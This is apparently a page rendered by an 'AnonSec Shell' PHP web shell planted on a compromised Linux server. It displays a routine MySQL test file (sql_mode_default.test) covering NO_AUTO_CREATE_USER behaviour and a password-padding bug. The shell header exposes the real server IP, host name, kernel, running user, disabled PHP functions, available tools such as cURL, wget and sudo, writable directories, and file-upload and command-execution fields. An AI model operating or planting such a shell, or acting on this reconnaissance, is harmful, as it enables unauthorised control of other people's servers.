AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/sql_mode_default.test
################################# sql_mode_default.test ###############################
# Make NO_AUTO_CREATE_USER sql_mode behavior the default in 5.7                       #
#                                                                                     #
# Test for WL#8326                                                                    #
# Created : 2015-02-05                                                                #
# Author  : Lalit choudhary                                                           #
#######################################################################################

--source include/not_embedded.inc

call mtr.add_suppression(" *NO_ZERO_DATE', 'NO_ZERO_IN_DATE' and 'ERROR_FOR_DIVISION_BY_ZERO' sql modes should .*");

SET sql_mode = default;
SELECT @@sql_mode;

# User creation using GRANT statement with default sql_mode
--error ER_PASSWORD_NO_MATCH
GRANT ALL ON *.* TO user2_wl8326@localhost;
SET sql_mode= (select replace(@@sql_mode,'NO_AUTO_CREATE_USER',''));
GRANT ALL ON *.* TO wl8326_user1@localhost;

# Cleanup
DROP USER wl8326_user1@localhost;

--echo
SET @@sql_mode='NO_ENGINE_SUBSTITUTION';
SELECT @@sql_mode;

# When the NO_AUTO_CREATE_USER sql mode remains unaffected by the set sql_mode query, no warning is produced
SET sql_mode = default;
SELECT @@sql_mode;
SET @@sql_mode='NO_AUTO_CREATE_USER';

# When the NO_AUTO_CREATE_USER sql mode affected by the set sql_mode query, warning is produced
SET sql_mode = '';
SELECT @@sql_mode;
SET @@sql_mode='NO_AUTO_CREATE_USER';
SELECT @@sql_mode;

--echo # Restarting server without NO_AUTO_CREATE_USER sql_mode

# Write file to make mysql-test-run.pl wait for the server to stop
let $expect_file= $MYSQLTEST_VARDIR/tmp/mysqld.1.expect;
--exec echo "wait" > $expect_file

# Request shutdown
--send_shutdown

# Call script that will poll the server waiting for it to disapear
--source include/wait_until_disconnected.inc

--echo # Restart server.
--exec echo "restart: --sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES " > $expect_file

# Turn on reconnect
--enable_reconnect

# Call script that will poll the server waiting for it to be back online again
--source include/wait_until_connected_again.inc
--echo
# Search for perticular warning during server startup
let SEARCH_FILE= $MYSQLTEST_VARDIR/log/mysqld.1.err;
let SEARCH_PATTERN= \[Warning\] \'NO_AUTO_CREATE_USER\' sql mode was not set;
--source include/search_pattern_in_file.inc

SELECT @@sql_mode;

#  User creation using GRANT statement without NO_AUTO_CREATE_USER sql_mode
GRANT ALL ON *.* TO wl8326_grant@localhost;

# Cleanup
DROP USER wl8326_grant@localhost;

SET sql_mode = default;
SELECT @@sql_mode;
SET @@sql_mode='NO_AUTO_CREATE_USER';
SELECT @@sql_mode;
SET sql_mode = default;

--echo
--echo End of wl#8326 tests!
--echo

--echo #
--echo # Bug#29287785: PASSWORD IS NOT UPDATED WITHOUT ERRORS WHEN
--echo #               SQL MODE IS PAD_CHAR_TO_FULL_LENGTH
--echo #

CREATE USER 'user1'@'localhost';
SET sql_mode= 'PAD_CHAR_TO_FULL_LENGTH';
SET PASSWORD FOR 'user1'@'localhost'= PASSWORD('abc');
SELECT authentication_string FROM mysql.user WHERE user= 'user1';

#Cleanup
DROP USER 'user1'@'localhost';
SET sql_mode= DEFAULT;

Anon7 - 2022
AnonSec Team